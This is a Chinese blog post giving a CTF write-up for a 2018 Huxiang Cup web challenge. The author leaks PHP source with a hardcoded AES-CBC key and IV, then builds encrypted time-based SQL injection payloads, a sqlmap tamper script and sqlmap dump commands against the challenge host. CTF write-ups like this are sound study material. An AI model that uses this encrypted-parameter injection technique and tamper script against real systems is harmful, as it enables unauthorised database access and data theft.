C1imber's Blog

2018湖湘杯注入题writeup

字数统计: 1k阅读时长: 4 min
2018/11/19 Share

2018湖湘杯注入题writeup

这段时间事情很多,导致这次比赛没有报上名,周日总算闲了下来,看到师傅在群里发了几个题目的链接,于是滑了一波水,在这里记录一下

WEB Code Check

其实昨天写这道题的时候并不知道这个题的题目是什么(有点尴尬),打开题目发现是一个登陆框,进行正常的登陆流程时会出现如下的错误,所以猜测该登陆功能可能不能正常使用
mark
看到登陆处显示平台正在停机维护,不能正常使用应该和这个有一些关系吧
mark
接下来查看页面源代码,尝试发现问题,看到有一处连接

http://39.108.176.234:49882/news/list.php?id=b3FCRU5iOU9IemZYc1JQSkY0WG5JZz09

mark
打开后是一个显示信息的页面
mark
id参数可能是存在注入的,id的值看起来像是一串base64,于是猜测可能是base64编码后的sql注入,但是在尝试base64解码的时候,第二次解码的时候就不能解码了,会出现乱码

接下来,偶然发现了一处目录遍历,此处泄露了list.php的源码
mark

list.php源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
header('content-type:text/html;charset=utf-8');
require_once '../config.php';
//解密过程
function decode($data){
$td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,'');
mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021');
$data = mdecrypt_generic($td,base64_decode(base64_decode($data)));
mcrypt_generic_deinit($td);
mcrypt_module_close($td);
if(substr(trim($data),-7)!=='hxb2018'){
echo '<script>window.location.href="/index.php";</script>';
}else{
return substr(trim($data),0,strlen(trim($data))-7);
}
}
$id=decode($_GET['id']);
$sql="select id,title,content,time from notice where id=$id";
$info=$link->query($sql);
$arr=$info->fetch_assoc();
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>X公司HR系统V1.0</title>
<style>.body{width:600px;height:500px;margin:0 auto}.title{color:red;height:60px;line-height:60px;font-size:30px;font-weight:700;margin-top:75pt;border-bottom:2px solid red;text-align:center}.content,.title{margin:0 auto;width:600px;display:block}.content{height:30px;line-height:30px;font-size:18px;margin-top:40px;text-align:left;color:#828282}</style>
</head>
<body>
<div class="body">
<div class="title"><?php echo $arr['title']?></div>
<div class="content"><?php echo $arr['content']?></div>
</body>
</html>

可以看到此处的id参数进行了AES加密处理,加密模式为CBC模式,之后服务端会对id参数进行解密,之后将解密的结果拼接进sql语句,从而产生了sql注入,源码中泄露了AES加密解密的key(密钥)和iv(初始化向量),有了key和iv这两部分,就可以随意的构造sql注入的payload了

解密代码

1
2
3
4
5
6
7
8
9
<?php
$data="b3FCRU5iOU9IemZYc1JQSkY0WG5JZz09";
$td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,'');
mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021');
$data = mdecrypt_generic($td,base64_decode(base64_decode($data)));
mcrypt_generic_deinit($td);
mcrypt_module_close($td);
echo substr(trim($data),0,strlen(trim($data))-7);
?>

mark

根据解密的代码,结合泄露的key和iv,很容易的编写出生成payload的加密代码,构造延时注入的POC,代码如下

1
2
3
4
5
6
7
8
9
<?php
$payload="1 and sleep(5)-- hxb2018";
$td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,'');
mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021');
$data = base64_encode(base64_encode(mcrypt_generic($td,$payload)));
mcrypt_generic_deinit($td);
mcrypt_module_close($td);
echo $data;
?>

mark

将经过处理的POC传入到id参数请求

http://39.108.176.234:49882/news/list.php?id=dTFmeVF0RmtWN2ZYSVBiMWpxNCt1d2p3YWJzVlN4WE1xU0tEbmQ2RHlEMD0=

发现页面响应延时了5s,说明sql语句执行了,确实是存在注入的
mark

为了方便,用python编写sqlmap的tamper脚本对id参数进行相应的处理,实现自动化注入,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#编写sqlmap tamper脚本aes_cbc.py
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
import re
from Crypto.Cipher import AES
import base64
from lib.core.data import kb
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
"""
hxb2018:AES CBC encrypt sql injection
>>> tamper('1 and sleep(5)-- ')
dTFmeVF0RmtWN2ZYSVBiMWpxNCt1d2p3YWJzVlN4WE1xU0tEbmQ2RHlEMD0=
"""
return encrypt(payload)
def encrypt(payload):
payload=payload+"hxb2018"
key="ydhaqPQnexoaDuW3"
iv="2018201920202021"
cipher = AES.new(key,AES.MODE_CBC,iv)
if(len(payload)%16!=0):
payload=payload+('\0'*(16-len(payload)%16))
return base64.b64encode(base64.b64encode(cipher.encrypt(payload)))
else:
return base64.b64encode(base64.b64encode(cipher.encrypt(payload)))

sqlmap判断存在注入
sqlmap -u “http://39.108.176.234:49882/news/list.php?id=1“ –tamper “aes_cbc.py”

mark

获取flag

sqlmap -u "http://39.108.176.234:49882/news/list.php?id=1" --tamper "aes_cbc.py" --dump -T "notice2" -D "mozhe_discuz_stormgroup"

mark

CATALOG
  1. 1. 2018湖湘杯注入题writeup
    1. 1.0.1.
    2. 1.0.2. WEB Code Check